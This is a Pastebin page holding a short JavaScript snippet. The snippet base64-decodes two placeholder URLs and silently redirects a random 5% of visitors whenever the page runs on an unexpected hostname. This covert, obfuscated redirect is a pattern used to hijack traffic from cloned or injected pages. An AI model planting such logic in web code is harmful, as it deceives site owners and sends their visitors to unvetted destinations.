Advertisement
Guest User

Untitled

a guest
Dec 6th, 2019
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.30 KB | None | 0 0
  1. (function() {
  2. var a = atob('url1');
  3. var b = atob('url2');
  4. var l = 5;
  5. var k = window.location.hostname;
  6. if (k.indexOf(a) < 0 && k != '') {
  7. var g = Math.floor(Math.random() * (100 - 1)) + 1;
  8. if (g <= l) {
  9. window.location.href = b
  10. }
  11. }
  12. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement